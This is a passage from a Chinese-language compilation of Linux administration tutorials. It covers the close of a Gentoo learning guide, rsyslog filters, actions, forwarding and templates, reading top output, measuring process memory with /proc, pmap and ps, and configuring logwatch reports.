Daniel Robbins，是 Gentoo 的创始人，Funtoo 的创始人与领导者，不仅精于工程与技术，也是一位优秀的 Linux 基础知识的传播者。他所写的一系列文章非常务实，并且文字平实，内容流畅，用例丰富。阅读它们，有大学英语四级水平就足够了。当然，如果有人能将它们翻译成中文，也非常有意义。

下面这四篇文章不仅能够让你掌握 Gentoo 安装过程中所使用的大部分 Linux 命令，也能让你通过初级Linux专业认证的 101 考试。

http://www.funtoo.org/Linux_Fundamentals,_Part_1
http://www.funtoo.org/Linux_Fundamentals,_Part_2
http://www.funtoo.org/Linux_Fundamentals,_Part_3
http://www.funtoo.org/Linux_Fundamentals,_Part_4

但是，如果你想理解 Gentoo 的包管理工具——Portage 的基本原理，并顺便掌握 Bash 的基本知识，可以继续阅读：

http://www.funtoo.org/Bash_by_Example,_Part_1
http://www.funtoo.org/Bash_by_Example,_Part_2
http://www.funtoo.org/Bash_by_Example,_Part_3

剩下的事，应该交给 Gentoo Handbook

9 年前我刚刚开始折腾 Gentoo 的时候，已经用过了几个月的 RedHat 公司发布的 Fedora Core（现在的 Fedora 项目的前身）。当时自认为已经具备了一些『Linux 使用经验』，但事实证明这些经验对于摆弄 Gentoo 并没有产生多大帮助。在我的不懈努力下，折腾了两个通宵，终于让 Gentoo 在我的机器上运行起来，后来的几个月，断断续续补习了一些 Linux 基本命令的用法之后，才感觉 Gentoo 的安装过程其实非常的简单，甚至可以将这个过程作为 Linux 基础知识学习中的一个实践环节。

现在这篇文档临近尾声，而我只想再说两句：


	很遗憾 9 年前要没人为我写一篇这样的文档 :)


	接下来你应该认真阅读 Gentoo Handbook ，然后利用 Gentoo LiveUSB 或光盘将 Gentoo 安装到计算机上。




附录：如何在 VirtualBox 中运行 Minimal installation CD

首先你要懂得 VirtualBox 的基本用法，比如如何基于光盘镜象文件的方式安装系统。

如果想在 VirtualBox 中直接运行 Minimal installation CD 的镜象文件，那么这就与向 VirtualBox 中安装其他系统差不多，唯一不同的就是所进入的 Linux 环境将作为学习 Linux 基础知识的环境。

如果想在 VirtualBox 中运行 Gentoo LiveUSB，那么要稍微麻烦一点，可参考：http://www.intowindows.com/how-to-boot-from-usb-in-virtualbox/


 Linux环境下使用rsyslog管理日志

作者：管宜尧

来源： Linux环境下使用rsyslog管理日志



                    
在 Linux 系统中，日志文件记录了系统中包括内核、服务和其它应用程序等在内的运行信息。
在我们解决问题的时候，日志是非常有用的，它可以帮助我们快速的定位遇到的问题。

在 Cent OS 6中，日志是使用rsyslogd守护进程进行管理的，该进程是之前版本的系统中syslogd的升级版，对原有的日志系统进行了功能的扩展，提供了诸如过滤器，日志加密保护，各种配置选项，输入输出模块，支持通过 TCP 或者 UDP 协议进行传输等。

rsyslog的配置文件为 /etc/rsyslog.conf , 大多数日志文件都位于 /var/log/ 目录中。

定位日志文件

大多数日志文件都位于 /var/log/ 目录中。在该目录中，你可能注意到很多日志文件末尾包含一串数字（如 maillog-20150301 ），这说明这些日志文件经过了日志转储，这样可以避免日志文件过大。

在软件包logrotate中包含了一个定时任务，根据/etc/logrotate.conf文件和/etc/logrotate.d/目录中的的配置定期的转储日志文件。



Rsyslog基本配置

Rsyslog 的主要配置文件为 /etc/rsyslog.conf 文件，在配置文件中，我们通过配置 filter 以及 action 对日志进行管理。

在rsyslog配置文件中，使用如下格式定义规则

filter        action


rsyslog发现符合 filter 规则的日志后，会将日志发送到 action 指定的动作进行处理。

Filter

在rsyslog中，提供了三种方式的过滤器方法：

基于设施/优先级的过滤器 (Facility/Priority-based filters)


基于设施/优先级的过滤器是最常用的方法，语法如下：

FACILITY.PRIORITY


FACILITY指定了产生日志消息的子系统，可选值为 auth , authpriv , cron , daemon , kern , lpr , mail , news , syslog , user , ftp , uucp , local0 ~ local7 。

PRIORITY指定了日志消息的优先级，可用的优先级包含 debug (7) , info (6) , notice (5) , warning (4) , err (3) , crit (2) , alert (1) , emerg (0) 。

前置符号=表明只有该优先级的消息会被捕获，!表明除了该优先级的消息之外的优先级会被捕获。除了前置符号外，可以使用符号*



表示所有的设施或者优先级，对优先级部分使用none关键字会捕获所有没有指定优先级的消息。

定义多个设施或者优先级使用,分隔，如果是多个 filter 的话，则使用;进行分隔。

使用范例

kern.*                    # 选择所有优先级的内核日志
mail.crit                 # 选择所有mail 的优先级高于crit的日志
cron.!info,!debug         # 选择除了 info 和 debug 优先级的 cron 日志


基于属性的过滤器

基于属性的过滤器语法

:PROPERTY, [!]COMPARE_OPERATION, "STRING"


:PROPERTY是要比较的日志属性，COMPARE_OPERATION 为要执行的比较操作，这个的!表示取反的意思，"STRING"为比较的值。

可以使用的比较操作：



	比较操作
	描述





	contains
	匹配提供的字符串值是否是属性的一部分，如果不区分大小写，使用contains_i




	isequal
	比较属性和值是否相等



	startswith
	属性是否以指定字符串开始(startswith_i)



	regex
	正则表达式(POSIX BRE 基本正则)匹配



	ereregex
	正则表达式(POSIX ERE 扩展正则)匹配



	isempty
	判断属性是否为空，不需要 value





使用范例：

:msg, contains, "error"
:hostname, isequal, "host1"
:msg, !regex, "fatal .* error"


基于表达式的过滤器

基于表达式的过滤器使用了rsyslog自定义的脚本语言RainerScript构建复杂的filter，这里暂时不对这种方法进行讲述。

Action

Action定义了当匹配指定的 filter 的时候，执行什么操作。


如果要指定多个 ACTION， 使用 &连接多个 ACTION。
例如：

   kern.=crit user1
   & ^test-program;temp
   & @192.168.0.1


这里的;temp指定了传递日志给 test-program 程序时（ ^ 开头表明日志发送给该可执行文件），使用它 temp 模板格式化日志。



在 ACTION 后面追加;模板名称可以为指定的 action 使用该模板格式化日志。

保存日志到日志文件

语法：

FILTER PATH


这里的 PATH 指定了日志要保存到的文件。例如 cron.* /var/log/cron.log 指定了所有的定时任务日志都写入到/var/log/cron.log文件。

默认情况下，每次生成 syslog 的时候，日志信息会同步到日志文件。可以在文件路径前使用 - 指定忽略同步（如果系统崩溃，会丢失日志，但是这样可以提高日志性能）。



除了上述方法记录日志（静态），也可以动态的生成日志文件。

FILTER     ?DynamicFile


这里的DynamicFile是预定义的输出路径模板。

通过网络发送syslog

rsyslog可以使用网络将日志消息发送或者接受日志，使用这个特性，可以实现使用单一的日志服务器统一管理多台服务器日志。

@[(zNUMBER)]HOST:[PORT]


这里的@告诉syslog使用 UDP 协议发送日志，要使用 TCP 的话，使用 @@。可选值zNUMBER设置了是否允许使用zlib对日志压缩（压缩级别1-9）。

使用范例

*.* @192.168.0.1        # 使用 UDP 发送，默认端口514
*.* @@example.com:18    # 使用 TCP 发送到端口18， 默认10514
*.* @(z9)[2001:db8::1]  # UDP, ipv6，使用zlib级别9压缩


丢弃日志

要丢弃日志消息，使用~动作。

FILTER    ~


例如：

cron.* ~


模板

任何rsyslog生成的日志都可以根据需要使用模板进行格式化，要创建模板，使用如下指令

$template TEMPLATE_NAME,"text %PROPERTY% more text", [OPTION]


这里的$template指令表明了接下来的内容定义了一个模板，TEMPLATE_NAME是模板的名称，接下来双引号之间的内容为模板的内容。

这里还有一个 OPTION ， 它指定了模板的功能，支持选项为sql和stdsql，在使用数据库存储的时候会用到。



生成动态文件名

模板可以用来生成动态文件名，就如之前所述，在使用动态文件名的时候，需要在 ACTION 中的模板名称前增加?表明该文件名是动态生成的。

例如:

$template DynamicFile,"/var/log/test_logs/%timegenerated%-test.log"
*.* ?DynamicFile


timegenerated属性从日志信息中提取出消息的时间戳，这样可以为每个日志生成唯一文件名称。



属性

在模板中使用的属性是在%之间的内容，使用属性可以访问日志消息中的内容。

%PROPERTY_NAME[:FROM_CHAR:TO_CHAR:OPTION]%


可用的属性列表见man rsyslog.conf。

全局指令

全局指令是rsyslogd守护进程的配置指令。所有的全局指令必须以$开始，每行只能有一个指令，例如：

$MainMsgQueueSize 50000


在新的配置格式中(rsyslog v6)，已经不在使用这种方式的指令，但是它们仍然是可用的。



队列

在 rsyslog 中，队列用来传输数据，当 rsyslog 接收到一个消息的时候，首先传递消息预处理器，然后加入到主消息队列，接下来消息会从队列中取出传递给规则处理器。



规则处理器是一个解析过滤引擎，它会基于配置文件中定义的规则，执行相应的动作(action)，每一个动作都有自己的动作队列，消息通过这个队列发送到对应的动作处理器，然后输出。

对于同一个消息来说，可以同时传递这个消息给多个动作队列。



定义队列

在配置文件/etc/rsyslog.conf文件中

$objectQueueType queue_type


这里的队列类型可选值为 direct , linkedlist , fixedarray (内存队列), 或者 disk 。

默认情况下，对于主队列，使用的是FixedArray队列（10000个消息长度），动作队列采用的是direct 队列。

PHP 使用 syslog 输出日志

在PHP 中，调用系统日志系统的函数有三个

bool openlog ( string $ident , int $option , int $facility )
bool syslog ( int $priority , string $message )
bool closelog ( void )


函数openlog用于打开到系统日志系统的连接，第一个参数$ident是一个字符串，syslog 会将该字符串自动加到使用syslog函数输出的所有日志消息的前面。第二个参数是日志选项，第三个参数是记录日志的设施。

函数openlog()和closelog()是可选的。



例如，我们在/etc/rsyslog.conf配置文件中增加如下配置

local5.*     /tmp/php_test.log


增加后需要重启 rsyslog 进程(sudo /etc/init.d/rsyslog restart)

在 PHP 脚本中，执行如下操作

<?php
openlog("LogHeader", LOG_PID, LOG_LOCAL5);
syslog(LOG_DEBUG, "Hello, Logger");


执行上述脚本，我们可以在/tmp目录中看到出现名为php_test.log的文件

Mar 10 14:47:04 vm-hp LogHeader[8261]: Hello, Logger


第一部分Mar 10 14:47:04为日志时间，第二部分vm-hp为主机的 HOSTNAME , 我们在 调用openlog函数的时候，指定了 indent为LogHeader， 同时在日志中加入进程的 PID（LOG_PID）。

上述日志消息，如果要使用模板的话，是下面这样的

$template LOG_TMP,"%timegenerated% %HOSTNAME% %msg%"
local5.*     /tmp/php_test.log;LOG_TMP


我们将所有支持的模板属性变量输出如下

msg:  Hello, Logger,
rawmsg: <175>Mar 10 15:52:49 LogHeader[13845]: Hello, Logger, 
HOSTNAME: vm-28-234-pro01-hp, 
FROMHOST: vm-28-234-pro01-hp, 
syslogtag: LogHeader[13845]:, 
programname: LogHeader, 
PRI: 175, 
PRI-text: local5.debug, 
IUT: 1, 
syslogfacility: 21, 
syslogfacility-text: local5, 
syslogseverity: 7, 
syslogseverity-text: debug, 
timereported: Mar 10 15:52:49, 
TIMESTAMP: Mar 10 15:52:49,
timegenerated: Mar 10 15:52:49,
PROTOCOL-VERSION: 0, 
STRUCTURED-DATA: -, 
APP-NAME: LogHeader, 
PROCID: 13845, 
MSGID: -




参考: Red Hat Enterprise linux 6 Deployment Guide: Chapter 23. Viewing and Managing Log Files


 Linux中强大的top命令

作者：tabalt

来源： Linux中强大的top命令



                    
原文链接：http://tabalt.net/blog/linux-top/


top命令算是最直观、好用的查看服务器负载的命令了。它实时动态刷新显示服务器状态信息，且可以通过交互式命令自定义显示内容，非常强大。


在终端中输入top，回车后会显示如下内容：


top - 21:48:39 up  8:57,  2 users,  load average: 0.36, 0.24, 0.14
Tasks: 322 total,   2 running, 320 sleeping,   0 stopped,   0 zombie
%Cpu(s):  5.0 us,  1.7 sy,  0.0 ni, 93.0 id,  0.0 wa,  0.3 hi,  0.0 si,  0.0 st
KiB Mem:   1010504 total,   937416 used,    73088 free,    23708 buffers
KiB Swap:  1046524 total,   280708 used,   765816 free.   365556 cached Mem

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND      
 8096 root      20   0  320624  38508  21192 S  1.7  3.8   0:41.03 Xorg         
13536 tabalt    20   0  697336 104272  56776 S  1.7 10.3   0:08.29 gnome-langu+ 
 9426 tabalt    20   0 1213228  72976  16860 S  1.0  7.2   2:07.27 compiz       
  197 root      20   0       0      0      0 S  0.3  0.0   0:36.13 kworker/0:2  
 1009 root      20   0  303112   3392   1500 S  0.3  0.3   0:00.93 polkitd      
 9670 tabalt    20   0  325932   4300   2256 S  0.3  0.4   0:40.27 vmtoolsd     
14016 root      25   5   43940   2408   2000 S  0.3  0.2   0:01.12 http         
14149 tabalt    20   0  591180  19504  12820 S  0.3  1.9   0:00.45 gnome-termi+ 
    1 root      20   0   33648   1972    744 S  0.0  0.2   0:01.79 init         
    2 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kthreadd     
    3 root      20   0       0      0      0 S  0.0  0.0   0:02.80 ksoftirqd/0  
    4 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0  
    5 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0H 
    7 root      20   0       0      0      0 S  0.0  0.0   0:05.55 rcu_sched    
    8 root      20   0       0      0      0 R  0.0  0.0   0:03.43 rcuos/0      
    9 root      20   0       0      0      0 S  0.0  0.0   0:00.00 rcuos/1      
   10 root      20   0       0      0      0 S  0.0  0.0   0:00.00 rcuos/2 



一、系统信息统计


前五行是系统整体状态的统计信息展示区域。下面分别介绍每一行中的内容：


1、第一行显示服务器概况


如下所示，第一行列出了服务器运行了多长时间，当前有多少个用户登录，服务器的负荷情况等，使用uptime命令能获得同样的结果。


top - 21:48:39 up  8:57,  2 users,  load average: 0.36, 0.24, 0.14
       /         /        /                \
   当前时间  运行时长   当前登录用户数  平均负载（1分钟、5分钟、15分钟）



平均负载的值越小代表系统压力越小，越大则代表系统压力越大。通常，我们会以最后一个数值，也就是15分钟内的平均负载作为参考来评估系统的负载情况。


对于只有单核cpu的系统，1.0是该系统所能承受负荷的边界值，大于1.0则有处理需要等待。


一个单核cpu的系统，平均负载的合适值是0.7以下。如果负载长期徘徊在1.0，则需要考虑马上处理了。超过1.0的负载，可能会带来非常严重的后果。


当然，多核cpu的系统是在前述值的基础上乘以cpu内核的个数。如对于多核cpu的系统，有N个核则所能承受的边界值为N.0。


可以使用如下命令来查看每个处理器的信息：


cat /proc/cpuinfo



如果只想计算有多少个cpu内核，可以使用如下命令：


cat /proc/cpuinfo | grep 'model name' | wc -l



2、第二行是进程信息：


Tasks: 322 total,   2 running, 320 sleeping,   0 stopped,   0 zombie
        /                /            /             /            /
    进程总数      正运行进程数    睡眠进程数   停止进程数    僵尸进程数



3、第三行是CPU信息：


%Cpu(s):  
5.0 us      用户空间CPU占比
1.7 sy      内核空间CPU占比
0.0 ni      用户进程空间改过优先级的进程CPU占比
93.0 id     空闲CPU占比
0.0 wa      待输入输出CPU占比
0.3 hi      硬中断（Hardware IRQ）CPU占比
0.0 si      软中断（Software Interrupts）CPU占比
0.0 st      - 



4、第四行是内存信息：


KiB Mem:   1010504 total,   937416 used,    73088 free,    23708 buffers
                /                /                /                /
            物理内存总量      使用中总量        空闲总量        缓存的内存量



5、第五行是swap交换分区信息：


KiB Swap:  1046524 total,   280708 used,   765816 free,   365556 cached Mem
                /                /                /                /
            交换区总量      使用中总量        空闲总量        缓存的内存量



二、进程（任务）状态监控


第七行及以下显示了各进程（任务）的状态监控。各列所代表的含义如下：


PID         进程id
USER        进程所有者
PR          进程优先级
NI          nice值。负值表示高优先级，正值表示低优先级
VIRT        进程使用的虚拟内存总量，单位kb。VIRT=SWAP+RES
RES         进程使用的、未被换出的物理内存大小，单位kb。RES=CODE+DATA
SHR         共享内存大小，单位kb
S           进程状态。D=不可中断的睡眠状态 R=运行 S=睡眠 T=跟踪/停止 Z=僵尸进程
%CPU        上次更新到现在的CPU时间占用百分比
%MEM        进程使用的物理内存百分比
TIME+       进程使用的CPU时间总计，单位1/100秒
COMMAND     进程名称（命令名/命令行）



三、与top交互



	按键b打开或关闭 运行中进程的高亮效果


	按键x打开或关闭 排序列的高亮效果


	shift + > 或 shift + < 可以向右或左改变排序列


	f键，可以进入编辑要显示字段的视图，有 * 号的字段会显示，无 * 号不显示，可根据页面提示选择或取消字段。




原文链接：http://tabalt.net/blog/linux-top/


 linux下查询进程占用的内存方法总结

作者：fasss

来源： linux下查询进程占用的内存方法总结



                    
linux下查询进程占用的内存方法总结

假设现在有一个「php-cgi」的进程 ，进程id为「25282」。现在想要查询该进程占用的内存大小。linux命令行
下有很多的工具进行查看，现总结常见的几种方式：

通过进程的 status

[root@web3_u ~]# cat /proc/25282/status
Name:    php-cgi
State:    S (sleeping)
Tgid:    25282
Pid:    25282
PPid:    27187
TracerPid:    0
Uid:    99    99    99    99
Gid:    99    99    99    99
Utrace:    0
FDSize:    256
Groups:    99
VmPeak:      496388 kB
VmSize:      438284 kB
VmLck:           0 kB
VmHWM:      125468 kB
VmRSS:      113612 kB
VmData:       92588 kB
VmStk:         100 kB
VmExe:        6736 kB
VmLib:       18760 kB
VmPTE:         528 kB
VmSwap:           0 kB
Threads:    1
SigQ:    0/46155
SigPnd:    0000000000000000
ShdPnd:    0000000000000000
SigBlk:    0000000000000000
SigIgn:    0000000000001000
SigCgt:    0000000184000004
CapInh:    0000000000000000
CapPrm:    0000000000000000
CapEff:    0000000000000000
CapBnd:    ffffffffffffffff
Cpus_allowed:    f
Cpus_allowed_list:    0-3
Mems_allowed:    00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:    0
voluntary_ctxt_switches:    68245
nonvoluntary_ctxt_switches:    15751

VmRSS:      113612 kB 表示占用的物理内存

通过 pmap


[root@web3_u ~]# pmap -x 25282
25282:   /usr/local/php/bin/php-cgi --fpm --fpm-config /usr/local/php/etc/php-fpm.conf
Address           Kbytes     RSS   Dirty Mode   Mapping
0000000000400000    6736    2692       0 r-x--  php-cgi
0000000000c93000     264     196     120 rw---  php-cgi
0000000000cd5000      60      48      48 rw---    [ anon ]
. . .
00007fd6226bc000       4       4       4 rw---  ld-2.12.so
00007fd6226bd000       4       4       4 rw---    [ anon ]
00007fff84b02000      96      96      96 rw---    [ stack ]
00007fff84bff000       4       4       0 r-x--    [ anon ]
ffffffffff600000       4       0       0 r-x--    [ anon ]
----------------  ------  ------  ------
total kB          438284  113612  107960

关键信息点


	进程ID


	启动命令「/usr/local/php/bin/php-cgi --fpm --fpm-config /usr/local/php/etc/php-fpm.conf」


	RSS :占用的物理内存 113612KB




通过 smaps

[root@web3_u ~]# cat /proc/25282/smaps | grep '^Rss:' \
| awk '{sum +=$2} END{print sum}'
113612

求和得到实际占用物理内存为 113612



通过 ps 命令

[root@web3_u ~]#  ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user,uid'  \
| awk '$1 ~ /25282/'
25282 php-cgi         /usr/local/php/bin/php-cgi   0.0 113612 438284 Oct09 nobody     99

awk 过滤 25282 进程号，得到第5列「rsz」的内存大小为「113612」



输出php-cgi进程占用的物理内存，并从高到低进行排序

[root@web3_u ~]# ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user,uid'  \
| grep php-cgi | sort -k5nr

输出结果

23946 php-cgi         /usr/local/php/bin/php-cgi   0.0 129540 440000 Oct06 nobody     99
24418 php-cgi         /usr/local/php/bin/php-cgi   0.0 129336 437684 Oct06 nobody     99
18973 php-cgi         /usr/local/php/bin/php-cgi   0.0 129268 440176 Oct06 nobody     99
17219 php-cgi         /usr/local/php/bin/php-cgi   0.0 126588 439840 Oct06 nobody     99
 6996 php-cgi         /usr/local/php/bin/php-cgi   0.0 124876 438104 Oct09 nobody     99
23850 php-cgi         /usr/local/php/bin/php-cgi   0.0 122984 440036 Oct09 nobody     99
28310 php-cgi         /usr/local/php/bin/php-cgi   0.0 122920 436456 Oct09 nobody     99

其中rsz为实际内存，上例实现按内存排序，由大到小



TOP 命令输出的列

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
25282 nobody    20   0  428m 110m  93m S  0.0  1.9   0:34.42 php-cgi


输出列信息


	PID 25282


	用户 nobody


	虚拟内存 428M


	物理内存 110M  110*1024= 112640 「和前面计算出来的值基本一致」


	共享内存 93M


	进程使用的物理内存和总内存的百分比 1.9 %




PID：进程的ID
USER：进程所有者
PR：进程的优先级别，越小越优先被执行
NInice：值
VIRT：进程占用的虚拟内存
RES：进程占用的物理内存
SHR：进程使用的共享内存
S：进程的状态。S表示休眠，R表示正在运行，Z表示僵死状态，N表示该进程优先值为负数
%CPU：进程占用CPU的使用率
%MEM：进程使用的物理内存和总内存的百分比
TIME+：该进程启动后占用的总的CPU时间，即占用CPU使用时间的累加值。
COMMAND：进程启动命令名称

按P

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
16036 root      20   0 8902m 8.6g  480 R 100.0 36.6   0:33.15 redis-server
12934 root      20   0 8902m 8.6g 1072 S  5.5 36.6 285:37.81 redis-server
969 root      20   0     0    0    0 D  4.2  0.0 277:14.85 flush-252:16
1304 root      23   3 1689m  50m 3264 S  4.2  0.2   1445:03 xs-searchd
1294 root      20   0 14928  928  584 S  3.5  0.0 635:05.31 xs-indexd
1287 nobody    20   0 12884  772  576 S  2.8  0.0 833:11.42 dnsmasq
1302 root      23   3 1113m  39m 3244 S  0.7  0.2   1437:57 xs-searchd
4444 www       20   0  280m  43m  884 S  0.7  0.2  27:43.92 nginx
  1 root      20   0 19232 1160  868 S  0.0  0.0   0:06.75 init

按 P .表示按cpu排序，默认也是按cpu排序



按M

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
12934 root      20   0 8902m 8.6g 1072 S  6.0 36.6 285:39.77 redis-server
16036 root      20   0 8902m 8.6g  480 R 100.0 36.6   1:11.42 redis-server
1236 www       20   0 1053m 209m 6556 S  0.0  0.9   4:40.70 php-cgi
1231 www       20   0 1034m 146m 6536 S  0.0  0.6   4:20.82 php-cgi
1184 www       20   0 1043m 119m 6584 S  0.0  0.5   4:21.85 php-cgi

按M 。 表示按占用内存排序。 第一列 redis服务器占用了8.6G的内存 。 这个内存和redis info



[root@img1_u ~]# redis-cli info memory
# Memory
used_memory_human:8.32G

基本相同。

[root@img1_u ~]# top -u www
top - 22:09:01 up 67 days, 14:16,  1 user,  load average: 0.61, 0.90, 0.98
Tasks: 283 total,   2 running, 281 sleeping,   0 stopped,   0 zombie
Cpu(s):  3.9%us,  1.0%sy,  0.5%ni, 89.7%id,  4.6%wa,  0.0%hi,  0.3%si,  0.0%st
Mem:  24542176k total, 21130060k used,  3412116k free,  1750652k buffers
Swap:   524280k total,        0k used,   524280k free,  4039732k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
  681 www       20   0  855m  25m 5796 S  0.0  0.1   0:47.00 php-cgi
 1181 www       20   0  887m  57m 6484 S  0.0  0.2   4:41.66 php-cgi
 1183 www       20   0  864m  34m 6320 S  0.0  0.1   3:52.39 php-cgi
 1184 www       20   0 1043m 119m 6584 S  0.0  0.5   4:21.85 php-cgi
 1185 www       20   0  869m  39m 6376 S  0.0  0.2   3:57.84 php-cgi
 1186 www       20   0  886m  56m 6244 S  0.0  0.2   3:44.75 php-cgi
 1187 www       20   0  926m  66m 6480 S  0.0  0.3   4:16.12 php-cgi
 1188 www       20   0  890m  60m 6288 S  0.0  0.3   4:13.35 php-cgi
 1189 www       20   0  892m  62m 6408 S  0.0  0.3   4:06.60 php-cgi

-u 指定用户。 php-cgi占用的内存在60M左右



按进程消耗内存多少排序的方法

通过 ps 命令

第一种方法

ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user,uid' | sort -k5nr

第二种方法

ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user,uid' --sort -rsz

输出结果

[root@web3_u ~]# ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user' | sort -k5nr
23946 php-cgi         /usr/local/php/bin/php-cgi   0.0 129540 440000 Oct06 nobody
24418 php-cgi         /usr/local/php/bin/php-cgi   0.0 129336 437684 Oct06 nobody
18973 php-cgi         /usr/local/php/bin/php-cgi   0.0 129268 440176 Oct06 nobody
17219 php-cgi         /usr/local/php/bin/php-cgi   0.0 126588 439840 Oct06 nobody
 6996 php-cgi         /usr/local/php/bin/php-cgi   0.0 125056 438104 Oct09 nobody
23850 php-cgi         /usr/local/php/bin/php-cgi   0.0 122984 440036 Oct09 nobody

参数解析:


	-e  显示所有进程


	-o 定制显示信息


	pid 进程ID


	comm 进程名


	args 启动命令


	pcpu 占用CPU 百分比


	rsz 占用物理内存大小


	vsz 占用虚拟内存大小


	stime 进程启动时间


	user 启动用户




以第一行为例


	进程ID 23946


	进程名 php-cgi


	启动命令 /usr/local/php/bin/php-cgi


	占用CPU 0


	占用物理内存 129540


	占用虚拟内存  440000


	启动时间 Oct06


	启动用户 nobody




ps 命令



通过 top 命令

top命令默认是以CPU排序输出的，按字母「M」，可以按内存占用大小进行排序显示

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
23946 nobody    20   0  429m 126m 107m S  0.0  2.2   1:15.01 php-cgi
24418 nobody    20   0  427m 126m 109m S  0.0  2.2   1:19.56 php-cgi
18973 nobody    20   0  429m 126m 107m S  0.0  2.2   1:20.18 php-cgi
17219 nobody    20   0  429m 123m 104m S  0.0  2.1   1:23.60 php-cgi
6996 nobody    20   0  427m 122m 105m S  0.0  2.1   1:05.27 php-cgi
23850 nobody    20   0  429m 120m 101m S  0.0  2.1   1:02.43 php-cgi

输出参数介绍


	PID：进程的ID


	USER：进程所有者


	VIRT：进程占用的虚拟内存


	RES：进程占用的物理内存


	SHR：进程使用的共享内存


	S：进程的状态。S表示休眠，R表示正在运行，Z表示僵死状态，N表示该进程优先值为负数


	%CPU：进程占用CPU的使用率


	%MEM：进程使用的物理内存和总内存的百分比


	TIME+：该进程启动后占用的总的CPU时间，即占用CPU使用时间的累加值。




通过比较进程ID 「23946」，top 命令和 ps 命令输出的结果基本保持一致


 在Linux上使用logwatch分析监控日志文件

作者：seanlook

来源： 在Linux上使用logwatch分析监控日志文件



                    
1. 介绍


在维护Linux服务器时，经常需要查看系统中各种服务的日志，以检查服务器的运行状态。 如登陆历史、邮件、软件安装等日志。系统管理员一个个去检查会十分不方便；且大多时候，这会是一种被动的检查，即只有在发现系统运行异常时才会想到去查看日志以获取异常的信息。那么如何主动、集中的分析这些日志，并产生报告，定时发送给管理员就会显得十分重要。


logwatch 是一款用 Perl 语言编写的开源日志解析分析器。它能对原始的日志文件进行解析并转换成结构化格式的文档，也能根据您的使用情况和需求来定制报告。logwatch 的主要目的是生成更易于使用的日志摘要，并不是用来对日志进行实时的处理和监控的。正因为如此，logwatch 通常被设定好时间和频率的自动定时任务来调度运行或者是有需要日志处理的时候从命令行里手动运行。一旦日志报告生成，logwatch 可以通过电子邮件把这报告发送给您，您可以把它保存成文件或者直接显示在屏幕上。


Logwatch 报告的详细程度和报告覆盖范围是完全可定制化的。Logwatch 的日志处理引擎也是可扩展的，从某种意义上来说，如果您想在一个新的应用程序中使用 logwatch 功能的话，只需要为这个应用程序的日志文件编写一个日志处理脚本（使用 Perl 语言），然后挂接到 logwatch 上就行。


logwatch 有一点不好的就是，在它生成的报告中没有详细的时间戳信息，而原来的日志文件中是存在的。您只能知道被记录下来的一段时间之内的特定事件，如果想要知道精确的时间点的信息，就不得不去查看原日志文件了。


2. 安装与配置说明


2.1 安装


无论在Debian系还是Redhat系上，安装logwatch都非常简单：


# apt-get install logwatch     //Debian、Ubuntu.etc
# yum install logwatch -y       //Redhat、Centos.etc





以下内容基于 CentOS 6.x，其余系统相差不大。


2.2 配置


2.2.1 配置文件说明


安装后的目录文件说明：



/usr/share/logwatch
    default.conf/     # 配置目录
        logwatch.conf   # 主配置文件，收件人，级别等
        logfiles/       # 定义待分析服务的日志文件组路径，相对于/var/log(*.conf)
        services/       # 自定义需分析日志的Service目录(*.conf)
    scripts/          # 可执行脚本
        logwatch.pl     # 启动分析的perl脚本，/usr/sbin/logwatch的源链接
        logfiles/       # 可包含多个logwatch日志文件组的子目录，对应的日志服务运行的时候，子目录下的脚本会自动被调用
        services/       # logwatch日志服务的过滤脚本，一一对应
        shared/         # 可被多个logwatch日志服务引用的脚本
    dist.conf/
        logfiles/
        services/
    lib/



默认情况下使用的是/usr/share/logwatch/default.conf/logwatch.conf作为主配置文件，但在/etc/logwatch/conf/logwatch.conf中的存在配置选项会覆盖前一个（/usr/share/logwatch下的logwatch.conf还是会起作用，比如在/etc/logwatch的logwatch.conf中没有的选项）。但优先级最高的是在执行命令行中指定的选项。


在/etc/logwatch下也存在一个与/usr/share/logwatch类似的目录结构，可以在这里添加自定义的监控日志信息。


从上面的目录结构划分大概可以了解到 logwatch 的原理：logwatch 首先要知道针对哪一个服务, 从这个服务中得到需要处理的 log 文件信息, 然后这个文件送给过滤脚本处理，之后把处理后格式化的信息展现出。内部细节请看第3篇参考。


2.2.2 编辑配置


在/usr/share/doc/logwatch-7.3.6/HOWTO-Customize-LogWatch文件中有这里的详细的配置说明。


个人还是习惯在/etc/logwatch/下管理配置文件，但又不太希望同时两个配置文件生效，所以对/usr/share/logwatch/default.conf/logwatch.conf备份，然后软链接/etc/logwatch/conf/logwatch.conf：


ln -s /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf/logwatch.conf



试着执行logwatch --service sshd --print感受一下处理的结果。接下来修改/etc/logwatch/conf/logwatch.conf文件的默认配置来做些个性化设置。


修改日志分析级别


Detail = <Low, Med, High, or a number>



“Detail” 配置指令控制着 logwatch 报告的详细程度。它可以是个正整数，也可以是分别代表着10、5和0数字的 High、Med、Low 几个选项。这里设置成High。（配置文件中是不区分大小写的）


指定报告收件人


MailTo = youremailaddress@yourdomain.com

MailFrom = youremailaddress@yourdomain.com



MailTo指定logwatch日志报告接收人，要把一份报告发送给多个用户，只需要把他们的邮件地址用空格或逗号隔开，但是logwatch认为你已经配置好本地邮件服务器（sendmail或postfix），并能正确传递给用户邮箱。


MailFrom，顾名思义，指定发件人。邮件地址可以说完整的收件人地址，也可以是服务器上的本地用户如root（有的邮件服务器不支持显示发件人别名）。


指定发送邮件的客户端


mailer = "sendmail -t"



